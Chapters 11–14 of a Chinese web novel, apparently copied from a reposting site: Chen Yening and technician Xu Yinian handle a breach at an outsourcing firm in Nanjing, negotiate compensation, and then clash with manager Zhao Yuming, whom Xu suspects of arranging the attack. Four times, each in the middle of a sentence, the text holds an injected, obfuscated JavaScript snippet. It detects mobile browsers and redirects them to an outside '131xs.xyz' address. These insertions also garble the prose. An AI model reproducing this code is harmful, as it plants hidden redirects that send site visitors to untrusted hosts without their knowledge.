舱门打开,潮湿微凉的空气涌了进来,与机舱内干燥的暖气形成鲜明对比。陈也柠和许翊年随着人流快步走出廊桥,脚步没有一丝迟疑,直奔出租车候客区。
许翊年拉开最近一辆出租车门,陈也柠上车,语速清晰地报出外包公司的地址。
车子驶入夜色,南京城的轮廓在窗外飞速后退。
陈也柠拿出手机,联系王平弘:“你在公司吧?”
王平弘:“在的在的。”
陈也柠:“我们落地了,现在赶过去找你们……”
许翊年在一旁小声提醒:“需要他们关键技术人员也在场,所有相关日志和系统访问记录保持原状。”
陈也柠对许翊年点了点头,向电话那头的王平弘复述了一遍许翊年的要求。
王平弘唯唯诺诺:“好的好的。”
约莫四十分钟后,出租车在一栋写字楼前停下。楼里只有零星几个窗口还亮着灯,其中就包括他们要去的外包公司所在楼层。
一个穿着格子衫、头发有些凌乱、面色焦虑的中年男人已经等在大堂,正是一路上和陈也柠保持着联系的王平弘。
“柠总。”王平弘迎上来,语气里带着如释重负和后怕。
“这是我们的技术,许翊年。”陈也柠没有寒暄,脚步不停,同时为王平弘介绍必要信息。
王平弘向许翊年点了个头,一副求助同时又抱着希望的表情。
尽管是第一次见面,许翊年随陈也柠,也没有寒暄,开口问:“可以直接去机房吗?”
王平弘:“可以可以。”
王平弘带着陈也柠和许翊年到达对应楼层,直接走向他们公司机房。
路上,陈也柠节约时间,边走边问:“现在情况怎么样?”
王平弘声音里还透着些无头苍蝇一样的惊慌,因为没有什么进展,只能反复解释:“我们技术的同事今早上班的时候,发现在大约昨晚凌晨一两点钟,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535526|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
异常登录尝试,来源IP是境外的,跳板很多……虽然自动监测系统及时阻断了,但、但之前有大概十几分钟的时间,对方好像……好像有很高的权限,浏览甚至可能下载了一些数据……这个,这个我们还在排查确认中……”
陈也柠和许翊年听着王平弘磕磕巴巴的解释,都有种血液倒流的感觉,两个人同时深呼吸了一口气……
机房里比想象中拥挤,机柜林立,指示灯疯狂闪烁,散热风扇发出持续的嗡鸣。两名技术人员围在一台服务器前,听到逐渐靠近的脚步声后,双双回头,脸上写满了无措。
“这位是许工。”王平弘意思明确地向看着显然一筹莫展的同事们介绍道。
两名技术人员准确领会,都赶忙起身把空间让给许翊年。
……
许翊年二话不说在主控台前坐下,手指在键盘上飞舞,调出密密麻麻的安全日志、系统审计记录和网络流量抓包等等数据,屏幕上的代码飞快滚动。
他身后围了三层。
第一层是屏息专注,目不转睛看着这些字符的那两个技术人员。
第二层是内心如热锅上蚂蚁一样的王平弘。
第三层是陈也柠。
技术方面的事,许翊年在,陈也柠就不用操心了。
虽然也很挂心,但陈也柠不去打扰他,拍了拍王平弘的肩膀,冲他比了比门的方向,示意他们出去说话。
王平弘忐忑地跟在陈也柠身后,两个人走出机房后,陈也柠语气沉稳,却带着不容置疑的压力,对他说:“王经理,我需要一份详细的时间线报告,从发现异常到采取措施,每一步的具体时间和操作人。另外,我需要你们立刻盘点所有拥有高权限账户的人员名单。”
她的指令清晰,王平弘连连点头,说:“那……那我现在就联系人开始整理。”
王平弘看着陈也柠,脚步迟疑。
陈也柠:“你快去吧,我就待在这里。”
王平弘:“那那,那我上楼了,回头柠总还有什么需要,随时联系我。”
陈也柠:“嗯。”
王平弘走后,陈也柠返回机房,依旧站在最后侧。尽管陈也柠刻意不给压力,但机房里除了键盘敲击声、风扇声以外,就是众人压抑的呼吸声。
许翊年时而皱眉,时而快速输入命令,时而调出新的监控窗口。
陈也柠默默观察着他的侧影,那专注的神情与在公司机房熬夜调试时如出一辙,只是此刻脸上更多了几分猎手般的锐利。
时间一分一秒过去。
突然,许翊年的手指停顿在一行日志上,眼神微凝。
半晌之后,他才转过头,目光中的焦点找到陈也柠后,向她说明分析结果:“攻击手法很老练,清除了部分痕迹,但留了个后门,很隐蔽。入侵的目的性很明确,就是冲着我们的算法模块和试验数据来的。”
他的声音不高,却在嘈杂的机房里清晰地传到陈也柠耳中。
她心下一沉,最坏的情况似乎正在被证实。
“能确定泄露了多少吗?”她问,声音保持着一贯的冷静。
“正在做分析和校验。”许翊年说着,手上动作更快了,“需要点时间。”
许翊年盯着有点眼熟的后门构造方式……将心中的怀疑顺着喉结暂且一起滚了下去。
12. chapter 12
许翊年将所有精力重新投入屏幕上的数据中。
陈也柠退到机房角落暗处,将后背靠着冰凉的墙壁。
闭上双眼,让大脑冷静了近半分钟后,陈也柠拿出手机,开始草拟明面上是给赵聿明,实际是为后续向公司核心层做情况说明的留痕邮件。
陈也柠的措辞极其谨慎,既客观完整地说明了事件的情况,又强调了正在现场紧急处理、核心数据有额外保护层等稳定人心的信息,同时将外包公司的安全管理失职点明,防备赵聿明借题发难。
时间在键盘声和风扇的嗡鸣中悄然流逝。
窗外,南京的夜色愈发深沉。
期间,王平弘战战兢兢地送来了一份初步的时间线报告和高权限账户名单。陈也柠快速浏览后,将其中的重要时间点和高风险账户信息递给了许翊年参考。
凌晨三点多,一直保持一个姿势不变的许翊年,终于向后靠在椅背上,用力眨了眨布满血丝的眼睛,长长吁出一口气。这个动作吸引了机房内所有人的注意。
“怎么样了,许工?”王平弘迫不及待地小声问道。
许翊年看向陈也柠,声音因疲惫而沙哑,但语气非常确定:“后门清掉了,漏洞也暂时堵上了。基本可以确认,核心的算法源码和试验数据没有被窃取。”
这句话像一道光,瞬间驱散了机房内积压的阴霾。
王平弘和两名技术人员几乎要喜极而泣。
陈也柠悬着的心也落下一大半,但她立刻抓住关键点:“‘基本可以确认’?以及,对方拿到了什么?”
许翊年的嘴角下意识地向上抬起一丝弧度,内心对在这样的时刻,依旧可以冷静抓住重点的陈也柠十分有好感,“确认度在95%以上。核心数据有硬件密钥和动态加密,破解需要时间和特定条件,攻击者这次没做到。他们拿到的,主要是一些前期的技术文档、架构说明和部分外围测试数据。”
陈也柠点了点头,把许翊年说的依次记录下来,同时在心里想:不幸中的万幸。不过……虽然泄露的不是最核心的,但竞争对手如果仔细分析,还是可能借着拿到的资料,窥探到项目方向和进度。
“能追溯到攻击来源吗?”陈也柠追问。
许翊年眼神微暗,随后摇了摇头:“对方很专业,服务器都在境外,而且事后清理得很干净。明确的源头……很难追溯。”
陈也柠沉吟片刻,转向王平弘,语气恢复了平时的果断,“王经理,我需要你帮忙做三件事:第一,你们出具一份详细的书面事件报告,附上所有日志证据,我需要你们的盖章原件;第二,配合许翊年,全面加固你们的安全系统;第三,给我一份赔偿方案。”
王平弘此刻哪敢有异议,虽对着说一不二的陈也柠倒抽了一口凉气,但还是连声应下:“好的好的,我、我马上办。”
后续的收尾工作又持续了两三个小时。天空泛起鱼肚白时,陈也柠和许翊年才拖着几乎散架的身体,走出机房,跟着王平弘上楼,在一间大会议室的软皮椅上坐下。
王平弘:“辛苦了。你们安心在这里休息一会儿,我接着准备柠总您交代我的材料。”
王平弘走出会议室的时候,双手将门带上,给了陈也柠和许翊年一个安静的休息空间。
看着王平弘离开以后,许翊年将整个后背贴在软皮靠垫上,让僵了一个晚上的脊柱一节一节地放松下来。
在这个过程当中,许翊年转头去看陈也柠,看到她拿出笔记本电脑,开机后,指尖立刻在触控板和键盘间飞快移动。
许翊年有些佩服地问她:“你不困吗?”
陈也柠视线依旧盯着屏幕说:“我困爆了。”
许翊年停顿了一瞬,低声笑了:“眯一会吧。”
陈也柠转头,视线在许翊年泛着红血丝的眼球停留了一会,说:“还有几件事,我抓紧处理一下,没事,你睡吧,不用管我。”
直到陈也柠再次将视线瞥向他,许翊年才将落在她侧脸上的目光收回,随后闭上眼睛,靠在椅背上,但他并没有睡,一边听着身边轻微而持续的敲击声,一边在脑中想象她此刻的表情。
直到会议室门外传来脚步声。
走进来的除了王平弘,还有一个西装革履,比王平弘高出一个头的男人,叫李竞,是王平弘的上级,最开始两家公司洽谈合作的时候,陈也柠见过。
李竞试图打圆场,语气带着圆滑:“柠总,许工,真是不好意思,昨天我在天津,刚赶回来。非常抱歉,发生这样的事,我们一定全力整改。”
和陈也柠、许翊年握完手后,李竞和王平弘在两人对面坐在。
王平弘把准备好的资料投影,对陈也柠说:“柠总,您确认看看,没什么问题的话,我让人打印出来盖章。”
陈也柠看了李竞一眼,随后打起十二分精神,仔细地看投影上的每一个字。
事件的书面报告没有什么问题,下一份是赔偿方案。
陈也柠看到第一页末尾的时候,就更加确定了,李竞的出面不是毫无缘由的。
“HDMI线可以给我一下吗?”陈也柠在王平弘即将翻到第二页之前,开口说。
所有人都稍显疑惑地看向陈也柠。
王平弘犹豫了一会,把连接投影的线从自己电脑上拔下来,递给陈也柠。
“这是我刚刚在等你们材料的时候整理的初步损失评估表。”
对方给出的金额在第二页之后,陈也柠不需要看,凭经验就知道,一定不会比她评估的结果高。
果不其然,就见李竞和王平弘双双面露难色。
李竞很努力地在头脑风暴了,但陈也柠列出的每一条都逻辑严密,难以质疑。李竞额头冒汗,试图先挂出免战牌,拖一拖时间:“柠总,这个数额我拍不了板,我得跟更高级沟通申请一下。”
“没问题。”陈也柠声音不高,形式化地看了眼时间,问:“半小时够吗?”
李竞:“……”
陈也柠抬了下唇角皮肉,露出也很疲倦的表情:“我的上级只给我四十分钟,你总得留十分钟让我做汇报吧。”
这些都是谈判手段,李竞知道。
陈也柠:“我的领导和公司法务也已经开始上班了,如果按照我们合同中的安全违约条款和潜在商业损失来走正式程序,恐怕还不止是我列的这个数字。”
陈也柠的态度并不强硬,但显然没有一丝转圜余地。
李竞演戏得演全套,点头说:“明白,我现在就去沟通。”
李竞和王平弘离开之后,陈也柠转头去看一直坐在身旁,但从始至终,到现在为止都在放空的许翊年,忍不住笑了出来。
许翊年:“……笑什么?”
陈也柠:“没事,觉得你呆呆的很好玩。”
“……”许翊年:“反正我也听不懂,发呆没问题吧。”
陈也柠想到有时候许翊年在屏幕面前对着一串串代码解决技术问题的时候,她看着看着也会灵魂丢失的那些时刻,笑容依旧,对许翊年说:“没问题,你继续。”
李竞需要演出非常难沟通,并且也为了防止时间有闲余,可能的变动,硬是拖拉到最后一刻,将近三十分钟,才和王平弘一起,重新回到会议室,答应了陈也柠开出的赔偿金额,并且将当下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535527|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公司能盖章的材料都交到了她手上。
走出会议室的时候,李竞问陈也柠:“你们住在哪个酒店?”
在南京这端的事情基本解决,陈也柠状态相对放松了下来,“哪来的酒店,昨晚就住你们公司。”
李竞双手合十再次表示抱歉,“我让行政帮你们订公司旁边的亚朵,可以吗?你们赶紧好好睡一觉。”
陈也柠:“谢谢李总,但我们刚刚在等你们盖章的时候,买了下午回去的机票,现在差不多得去机场了。”
李竞:“这么赶?!”
不知道是不是错觉,李竞似乎看到此刻在陈也柠身旁面色无光,仿佛只剩一副身躯尚在人间的许翊年,无奈地耸了耸肩。
……
不只是许翊年,之后走出写字楼,打车赶往机场,办理登机手续,过安检……所有动作,陈也柠也都像是凭借本能完成的。
抵达登机口时,离登机还有一个多小时。
陈也柠和许翊年找了个僻静的座位坐下,两个人都拿出手机处理各自的事情。
几分钟后,陈也柠看到许翊年收起手机,拿出了笔记本电脑……
她脸上有种网速不好,运转缓慢的表情,问他:“你不睡吗?”
许翊年在远程处理出发前两个人讨论过的模型上的问题,“不了,缓过来了。”
陈也柠是真有点撑不住了,眼皮像灌了铅一样沉重。她把手机收进口袋,说:”那我睡一会,要登机了叫我。”
许翊年看着陈也柠单手手背捂脸,打了个又大又懒的哈欠,浅笑着对她说:“嗯,你睡吧。”
人流穿梭,背景嘈杂。
但陈也柠眼睛一闭,就昏睡过去了。
许翊年继续处理工作,不一会儿的功夫,肩侧就落下一道重量。
昏睡中的陈也柠头一歪,靠在了他身上。
许翊年的身体有瞬间的僵硬,少顷,他侧头看去,靠在他肩上的陈也柠呼吸均匀绵长,浓密纤长的睫毛静静垂在眼下,唇上没什么血色,透着股她醒着的时候绝不会流露的脆弱劲,像个瓷娃娃。
机场外透进来的光勾勒着陈也柠安静的睡颜,许翊年想起了这一天一夜里发生的种种。
想着她强硬果决和李竞谈判时的神情,想着她在机房角落冷静草拟邮件的侧影,再看她此刻全然不设防的疲惫……
许翊年内心油然生出一种十分复杂的情绪,混合着……难以言说的保护欲、对她韧性的敬佩,以及一种悄然滋长的、连他自己都尚未完全明晰的欣赏。
他就这样保持着姿势,任由她靠着,直到登机广播响起。
乘客们陆陆续续起身排队,许翊年不着急叫醒陈也柠,想着她能多睡会儿就多睡会儿,直到队伍渐短,许翊年才拍了拍陈也柠,“登机了。”
……
陈也柠平静地用一副刚睡醒的懵脸,来面对登机到飞机平稳飞行在云层之上这一段时间。
反正等会儿机舱灯光调暗,又可以入睡了,没必要太清醒。
于是,换许翊年看着陈也柠发呆的样子笑。
陈也柠侧目:“……干嘛?”
“没事。”许翊年看着陈也柠睡眼惺忪的样子,突然产生好奇,问了她一个问题:“你为什么为这个项目这么拼?”
陈也柠揉了揉眼睛,努力让大脑重新转起来。她沉默了几秒,转过头看着对答案隐约表现出些许期待的许翊年,语气带着未褪的疲惫,但是十分理所当然:“因为我要靠它升职呗。”
可能是没有想到答案这么赤果直白,许翊年停顿了半晌,才被陈也柠的真实但也现实,给戳笑了。
13. chapter 13
飞机落地时,城市已是华灯初上。
不管是陈也柠还是许翊年,都进入低电量模式,累得不想说话。
全程,他们就眼神对视、抬抬下巴、伸伸胳膊,做极其简单原始的沟通。
这边,D2转盘,取行李。
那边,L3出口,白色的车。
网约车上,两人也是各自看着窗外神游。
抵达陈也柠住处后,才总算有人开口。
许翊年:“回去早点休息。”
“嗯。”陈也柠一脸倦容地对许翊年点了个头,“你也是。”
车子继续往许翊年的住处驶去。
回到家,陈也柠刚把行李箱拖进玄关,连鞋都没换,手机就响了。屏幕上显示着赵聿明三个字。
陈也柠翻了个白眼,深吸一口气,压下喉咙口的烦躁,接通电话,按下免提,继续脱鞋,进屋。
“也柠,落地了吧?”赵聿明的声音听起来一如既往的温和,甚至带着一丝关切。
“刚到家,赵总。”陈也柠语气平淡。
“辛苦了,今晚你好好休息,明天上午十点,来我办公室,我们详细聊聊南京的事。”赵聿明的语气还是温温的,但透着隐隐的压力。
既然明天肯定是一团糟了,那今天就干脆放飞吧。陈也柠什么也不想多说,冷冷淡淡一个字:“嗯。”
赵聿明:“……早点休息。”
放下手机,陈也柠躺进沙发,一种深深的疲惫和厌烦涌了上来。
她闭了会眼睛,随后像下了好大决心一般,嘿咻一声起身,进浴室洗了个痛快。
吹好头发,换上和工作时候穿衣风格截然不同的蓝底白兔图案的睡衣,陈也柠再次躺回沙发,拿起手机,手机上有一条许翊年半小时前发来的消息。
【我到了。】
“OK。”陈也柠:“明天你别迟到了,赵聿明通知我十点去他办公室开会,说不定聊着聊着就会叫你一起。”
许翊年:“好,知道了。”
许翊年:“还没睡觉?”
陈也柠:“睡了睡了。”
发完这句话以后,陈也柠退出对话框,打开抖音。
算法精准地推送给她各种帅哥啊,腹肌啊……陈也柠脸上慢慢堆出笑容,手上匀速划着,直到那个熟悉的的身影出现——
陈也柠是本能地被硬控了二十秒之后,看了眼ID,才发现是摩卡更新了。
视频里,他里面穿着黑色背心,外面穿着黑色皮衣,随着节奏感强烈的音乐舞动,紧实的肌肉线条因为大幅度的动作若隐若现,力量感与性张力扑面而来。
虽然很欲,但又完全没有讨好感,压低的帽檐和口罩隐隐透着一股爱看不爱的小劲,最是吸引陈也柠。
陈也柠整张脸完全绽开了,当真像是春天来了一般,甚至盘腿坐了起来。
她点开评论区,里面已经是一片“嘶哈嘶哈”、“爸爸!”、“啊啊啊我那失踪的老公回来了!”的嚎叫。
陈也柠激动留言道:“跳舞的小感觉爽死我了!摩多摩多!”
点击发送之后,陈也柠举着手机,直挺挺地又倒在了沙发上,抱着“女人就是得多看点这些才有力气讨生活啊!”的感悟,又反复回味了好几遍视频。
另一边,和陈也柠不同,洗洗收收后,真准备睡觉的许翊年,在睡前集中看了一眼大家的留言,就看到柠檬耶的最新评论。
【跳舞的小感觉爽死我了!摩多摩多!】
许翊年尝试把这句在他看来十分羞耻的话和陈也柠在外表现出来的冷脸重叠了一下,表示:“……………………”
许翊年将屏幕画面停留在陈也柠的这条评论上,突然禁不住心想,如果哪天他掉马了,真不好说是他更想死,还是陈也柠更想死。
……
自从调到再立项目组后,许翊年上班时间都比较弹性,不过今天许翊年早早就来公司做准备,毕竟有人压力大到半夜三更在网上吸男色。
十点整。
陈也柠准时出现在赵聿明办公室。
赵聿明的办公室宽敞明亮,巨大的落地窗外可以看到江景,一派开阔。
他笑容可掬地招呼陈也柠坐下,亲自斟茶,语气温和:“也柠,昨天刚回来,辛苦了吧?南京的事情,邮件我都看了,你处理得很及时,辛苦了。”
“分内的事,赵总。”陈也柠微笑回应,姿态从容,心里却绷着一根弦,知道这不过是开场白。
果然,赵聿明话锋一转,指尖轻轻敲着桌面:“不过,这次事件也确实给我们提了个醒。外包环节的风险,比我们预想的要大。再立项目现在到了冲刺FDA的关键阶段,任何一个环节都不能掉以轻心。也柠,我理解你最近工作量非常大,精力难免有分散的地方。”
陈也柠心下一凛,知道赵聿明开始明里暗里,话中带话了。
“谢谢领导理解。”陈也柠开始斟字酌句,“等FDA的工作结束后,我会重新梳理一下对供应商的管理流程,加强后续对他们的监管。”
赵聿明对紧绷的陈也柠摆了摆手,一副体谅的样子:“你们这次应急补救工作做得很好,事情解决了就过了,我绝对不是要追究你责任的意思。我是想着怎么样能从事件中学到教训,把工作做得更好。你的能力我百分百是相信的,但人的精力总是有限的。再立项目现在是关键阶段,FDA的申报更是重中之重,不能再出纰漏了。”
赵聿明每说一句话,陈也柠就同步在脑海中快速想:这老家伙到底想干嘛,我接下来要怎么应对。
赵聿明:“现在FDA的技术工作,只有小许一个人在做吗?”
“……”陈也柠谨慎接招:“主要是许翊年在负责。”
赵聿明:“人员配置会不会太紧张了。小许去南京期间,FDA的工作是不是就耽搁了?”
陈也柠:“FDA的工作,许翊年远程都在处理。目前项目组的配置是按照既定计划来的,核心成员各司其职,进度都在掌控中。”
赵聿明坚持自己的态度,说得不紧不慢:“我建议,至少得设置个AB岗,有什么情况也方便做机动安排。周舟,我感觉没把他用好。”
陈也柠心下一沉,终于看清楚赵聿明打什么主意了。
“赵总怎么这么说?”陈也柠:“周舟负责的可是项目的基石工作。”
赵聿明:“已经过了搭基石的阶段了,应该让他也多扛一扛FDA的工作。”
陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535528|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也柠小皱眉头说:“他手上的工作还是很重要的,我偏向于让他继续保障项目的稳定性。”
赵聿明脸上的笑容收敛了些,表情带上了明显的压迫感:“也柠,南京的事情,老板连着两个晚上凌晨给我打电话了解情况,我得想办法加强项目的风险管控。”
陈也柠知道赵聿明这是拿职权压她了。
气氛瞬间变得紧张。
在这十几秒钟的停歇与再思考过程中,赵聿明拿出手机,一边推进一边说:“我把周舟和小许都请进来,真实地了解下他们现在手上的工作情况,也听听他们是怎么想的。”
话音还没落,赵聿明就放下了手机,显然给周舟和许翊年的消息已经发送,根本不给陈也柠发表意见的机会。
陈也柠的大脑在沉默中飞速权衡。赵聿明的态度很明显,他势必要借着这个口实行自己的干预计划,硬顶已无意义,她必须思考如何在既定事实下,为项目争取最好的局面。
没过几分钟,办公室门被敲响。
周舟率先走了进来,脸上带着恰到好处的恭敬笑容:“赵总,柠总。”
紧随其后的是许翊年,他依旧是那副没什么表情的样子,只是目光在掠过陈也柠的时候,极快地与她交换了一个眼神,试图更快理解现状。
“随便坐。”赵聿明恢复了温和的领导者姿态,等许翊年和周舟都坐下以后,开口说:“我刚和柠总沟通了一下,想做个工作上的小调整,让周舟多支援FDA的技术工作,我们想听听你们的想法。”
赵聿明说完,立刻把视线停留在周舟脸上。周舟会意,表态:“我没什么问题,我听领导安排。”
陈也柠表情一动不动,没什么好脸色。
赵聿明满意地露出笑容,将目光看向许翊年。
虽说气氛已经烘托到这了,但许翊年完全不在乎。
他语气平静,听不出情绪:“FDA申报的核心是数据严谨性和逻辑闭环。所有关键算法和实验数据的原始链路,目前只有我最熟悉。加人需要进行大量的知识转移,不仅存在信息偏差的风险,反而还浪费时间,我认为没有必要。”
如毒雾一般包裹在陈也柠周身的低气压略有松动,她只看了许翊年一眼,很快移开,怕视线会暴露讯息。但面上,紧抿的唇角线条有几毫米微不可察的缓和;内心,一股暖流,混合着慰藉和依赖,悄然涌过。
面对许翊年几乎是直接的反对,赵聿明不动声色,只是笑着,用包容的语气说:“到底是年轻人啊。”
赵聿明说完,被“拒之门外”的周舟也笑了笑。倘若周舟只是个无名之辈,那此刻的他也只能苦笑,然而事实是,周舟有非常厚实的项目经验,所以他此刻的笑,便成了不计较的大肚。
顷刻间,许翊年基于事实的陈述就失去了原本的力量。
“这样吧。”赵聿明开口道:“你们把电脑抱进来,就在我办公室试着沟通看看,我相信以周舟的资历,跟上小许你的信息颗粒度,应该还是不难的吧。”
所有的暗潮涌动,许翊年都能清晰感受到。他嘴角勾起一丝极淡的、近乎挑衅的弧度,迎着赵聿明的目光说:“赵总,我们这个行业,每天技术都在更新,资历这两个字,早已经过时了。”
14. chapter 14
踩着资历两个字一路走到今天的赵聿明和周舟两个人同时气压骤低。
就连陈也柠也被许翊年的杀伤力惊到呼吸微滞。
许翊年依旧不在乎:“FDA申报的核心不是代码,是证据链。我写的技术规范截止目前已经有上千页了,包括实验的原始追踪数据,验证测试协议,完整的可追溯性矩阵,风险控制的有效性验证数据……”
许翊年冷着脸说完这一串后,看向周舟,目光里有轻轻地审视:“周工准备花多长时间,把这些数据背熟?”
周舟的表情顿时有些僵硬。
办公室内的气氛再次凝固。
许翊年的强硬和近乎不可一世的自信,超出了所有人的预料。
周舟没有吭声,眼瞧着被许翊年的发问打得无力招架,脸色一阵青白。
赵聿明见状,立刻挂上那副惯用的温和面具,开口打圆场,语气带着刻意的轻松:
“小许,你估计是误会我的意思了。我是看你这块工作量太大,想让周舟支援你,当你的B角,在你需要的时候能搭把手,保证项目在任何状况下都不至于停滞,绝不是要取代你。你别这么紧张。”
陈也柠听明白了,强攻不成,就柔性渗透,只要能把周舟先塞进FDA的工作中,赵聿明是能屈能伸。陈也柠看准了赵聿明拉低姿态,想要以退为进,伺机而动的时刻,把他的前路切断。
“赵总的意思是,”陈也柠转身看着许翊年,表面上劝他,实际全部是说给赵聿明和周舟听的,“让周舟临时过来当你的助手,听你安排,协助处理一些流程性的事务。但所有核心技术工作,还是以你为主。”
“如果是这样的话,”许翊年微眯了眯眼眸,转而看向赵聿明,落槌敲定,节奏得当,有勉强接受的意思:“那……行吧。”
陈也柠为许翊年瞬间理解她的用意,同时完美接上她的戏,并且演得还不错,而微微牵动了一下嘴角。
陈也柠和许翊年双双看向赵聿明,想知道他是见好就收呢,还是要赌徒心态,为了不确定能不能得到的更大利益继续博到底?
但两个人同时的凝视,带着他们自己也未察觉的压迫感。赵聿明沉吟片刻后,在陈也柠的意思上盖章:“对,核心技术层面还是小许主导。周舟,你要多配合翊年。”
周舟:“……好。”
凝固的氛围得到些许稀释。
赵聿明:“我们节约时间。你们这会儿就对一下工作吧,就在我办公室,你们把电脑抱进来。”
许翊年和周舟出去后,陈也柠跟着也起身了。
赵聿明看向她。
经过刚刚那一段对话,陈也柠知道许翊年这个刺头也吃不了什么亏,于是说:“他们在这对接吧,我也去忙我的事了。”
“……行。”赵聿明:“辛苦了,也柠。”
陈也柠对赵聿明点了点头,便离开了他办公室。
几分钟后,重新回到赵聿明办公室的许翊年和周舟,两个人面前各放着一台笔记本电脑,但谁也没动它。
办公室内的气氛瞬间从刚才的激烈争论降至冰点。赵聿明脸上最后一丝伪装的温和彻底消失,目光冰冷地落在许翊年身上。
许翊年依旧坐着,平静地回视。
少顷,赵聿明自我消化了怒意,笑了出来,只不过声音里带着明显的讥讽,对许翊年说:“演得很投入。不过,你应该没有忘记,你的任务不是拿影帝吧?”
许翊年没有心思搭理赵聿明的冷嘲热讽,直接问出了那个关键问题,声音低沉而清晰:“赵总,南京的事,是不是你安排的?”
这句话像一颗炸弹,在偌大的办公室里无声地引爆。
赵聿明的瞳孔几不可察地缩了一下,但到底是老江湖,脸上瞬间恢复了镇定,甚至带上了一丝被冒犯的愠怒:“你这个问题是什么意思?”
“意思很清楚。”许翊年毫不退缩,声音冷得像冰,“攻击路径、后门构造手法,都有很强的个人风格。另外,攻击者的目标非常精准,直奔项目的核心模块,没有内部情报,根本做不到。”
赵聿明的脸色沉了下来。
许翊年紧紧盯着赵聿明的眼睛,用他的话反问:“你应该没有忘记,你当初让我过来,我们谈好的是,一起把再立项目顺利推上市。你现在这是在做什么?”
两个人用对峙一般的表情互相看了对方一会儿之后,赵聿明率先缓和了下来,“记得,我当然记得。”
许翊年脸上的怒意并未完全消散,但眼底的激烈情绪已经沉淀下去。
见状,赵聿明重新换上温和的表情,对许翊年说:“南京的事,我理解你的担心,但我以人格担保,绝对不是我安排的。答应你的事,我也没有忘记,我还记得你的那个朋友,叫马光宇,对吗?”
许翊年没有回答,只是用冷静理智的目光盯着赵聿明。
赵聿明:“我们的目标是一致的。我做的所有事都是为了让项目最终能够顺利面市,包括安排周舟协助你。”
许翊年的嘴角牵起一丝冰冷的弧度,“那就好。”
尽管如此,室内的气氛依旧紧绷。
赵聿明:“和周舟的对接,回头你们再找时间自己沟通?”
“行。”许翊年拿起就没动过的电脑,起身说:“我先走了。”
周舟接着起身,顺手整了整桌面,等许翊年出门以后,又重新缓缓坐了下来,视线落在望着许翊年离开方向的赵聿明脸上。
“赵总。”周舟小心翼翼地说:“您何必对许翊年那么客气,我觉得他多少有些不知好歹。”
赵聿明笑了一声:“年轻人火气是大了些。”
周舟觉得不止是“大了些”这么轻巧。
“但你没有发现吗。”赵聿明重新把茶泡了起来,慢悠悠地说:“他已经得到了陈也柠完全的信任。”
……
许翊年推开赵聿明办公室厚重的门,走廊里冷白的灯光落在他脸上,将他眼底最后一丝属于刚才那场对峙的波澜也彻底抚平,只剩下一种近乎漠然的平静。
他步速不快,在工位前坐下,台式显示屏上的代码像一条冰冷的河流无声滚动,但他眼底映出的,却是赵聿明方才那张伪善的脸。
许翊年几乎可以肯定,南京的事,赵聿明脱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535529|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不了干系。
因为从他这里一直没拿到什么有价值的情报,所以他干脆自己动手,更甚者,把周舟安排进来。
临时借调结束,真正地和陈也柠共事之后,那团始终萦绕在心中的疑惑,终于都有了答案。
一股冰冷的寒意顺着许翊年的脊椎悄然爬升。
就在这个时候,一道清冽的声音在身侧响起,“许翊年。”
许翊年转头,看见陈也柠站在小会议室门口,抱着手臂倚着门框,似乎专程在等他。
“过来开个小会。”
许翊年带上笔记本电脑,走向陈也柠,将会议室的门轻轻合上。
“怎么样?”她问,语气直接。
许翊年将心头翻涌的思绪不动声色地压下去,面对着陈也柠,轻描淡写说:“周舟吗?我让他去整理外围文档了。核心的东西,他碰不到。”
“那就好。”陈也柠闻言,满意地点了点头,眼底的紧绷也彻底松开了。紧接着,她对许翊年露出了一抹在公司少见的纯粹笑容,侧身对他说:“请你喝。”
许翊年的目光落在桌上的奶茶,停顿片刻,才缓缓移回她脸上。
陈也柠已经自顾自地拉开椅子坐下,利落地撕开吸管包装,“噗”一声扎进自己那杯里,猛地摄入一口快乐水后,笑意从眼底漫上来,不加掩饰地对许翊年说:“你刚刚怼赵聿明的那些话,听得我可爽了。”
